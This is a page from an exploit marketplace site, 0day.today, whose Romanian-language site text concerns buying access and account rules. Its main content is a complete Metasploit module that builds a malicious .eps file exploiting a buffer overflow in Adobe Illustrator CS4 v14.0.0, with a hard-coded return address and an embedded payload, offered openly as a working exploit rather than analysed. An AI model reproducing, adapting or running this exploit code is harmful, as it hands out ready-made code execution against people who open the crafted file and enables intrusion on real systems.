0day.today - Ce-a mai mare baze de date de exploit-uri din lume.
![](/img/logo_green.jpg)
Folosim un singur domeniu DOMAIN_LINK
Dacă dorești să cumperi un exploit sau să platești pentru un serviciu, trebuie să cumperi Gold. Nu dormim să folosim site-ul pentru scopuri informatice negative (hacking), prin urmare orice tip de acțiune de hacking care poate afecta ilegal alți utilizatori sau pagini web la care nu ești proprietar va fi pedepsită cu blocarea contului permanentă incluzand distrugerea datelor tale care aparțin de cont.
Administrația acestui website folosește adresele oficiale de contact. Atenție la impostori!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Citiți [ acordul ]
- Citiți [ trimite ] reguli
- Vizitați [ Întrebări frecvente. ] pagină
- [ Înregistrare ] profil
- Obține [ GOLD ]
- Dacă dorești să [ vinzi ]
- Dacă dorești să [ cumperi ]
- Dacă ați pierdut [ cont-ul vizitați această pagină. ]
- Orice întrebări [ [email protected] ]
- Pagină de autorizare
- Pagină de Înregistrare
- Pagină de restaurare a unui cont
- Pagina FAQ
- Pagina de contact
- Regulamentul pentru post-uri
- Pagina de acorduri
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ne puteți contacta prin:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Adobe Illustrator CS4 v14.0.0 eps Universal Buffer Overflow (meta)
================================================================== Adobe Illustrator CS4 v14.0.0 eps Universal Buffer Overflow (meta) ================================================================== # Title: Adobe Illustrator CS4 v14.0.0 eps Universal Buffer Overflow (meta) # CVE-ID: () # OSVDB-ID: () # Author: dookie # Published: 2009-12-07 # Verified: yes view source print? require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Illustrator CS4 v14.0.0', 'Description' => %q{ Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) overlong DSC Comment Buffer Overflow Exploit }, 'License' => MSF_LICENSE, 'Author' => [ 'dookie, original by Nine:Situations:Group::pyrokinesis' ], 'Version' => '$Revision: 7724 $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/10281' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0D\x0C\x0A", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll ], 'Privileged' => false, 'DisclosureDate' => 'Dec 03 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', '9sg.eps']), ], self.class) end def exploit header = "\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff" header << "\xff\x00\x00" header << "%!PS-Adobe-3.1\x20EPSF-3.0\r\n" header << "%ADO_DSC_Encoding:\x20Windows\x20Roman\r\n" header << "%" sploit = rand_text_alpha(41699) sploit << [target.ret].pack('V') sploit << rand_text_alpha(2291) sploit << "%Title:\x20Untitled-1.eps\r\n" sploit << "%AAAAAAAA" sploit << payload.encoded trailer = ": A\r\n" trailer << "%%For:\x20alias\r\n" trailer << "%%CreationDate:\x2011/27/2009\r\n" trailer += "%%BoundingBox:\x200\x200\x20227\x20171\r\n" trailer += "%%HiResBoundingBox:\x200\x200\x20226.5044\x20170.3165\r\n" trailer += "%%CropBox:\x200\x200\x20226.5044\x20170.3165\r\n" trailer += "%%LanguageLevel:\x202\r\n" trailer += "%%DocumentData:\x20Clean7Bit\r\n" trailer += "%ADOBeginClientInjection:\x20DocumentHeader\x20\"AI11EPS\"\r\n" trailer += "%%AI8_CreatorVersion:\x2014.0.0\r" trailer += "%AI9_PrintingDataBegin\r" trailer += "%ADO_BuildNumber:\x20Adobe\x20Illustrator(R)\x2014.0.0\x20x367\x20R\x20agm\x204.4890\x20ct\x205.1541\r" trailer += "%ADO_ContainsXMP:\x20MainFirst\r" trailer += "%AI7_Thumbnail:\x20128\x2096\x208\r" trailer += "%%BeginData:\x204096\x20Hex\x20Bytes\r" trailer += "%0000330000660000990000CC0033000033330033660033990033CC0033FF\r\n" eps = header + sploit + trailer print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(eps) end end # 0day.today [2024-07-16] #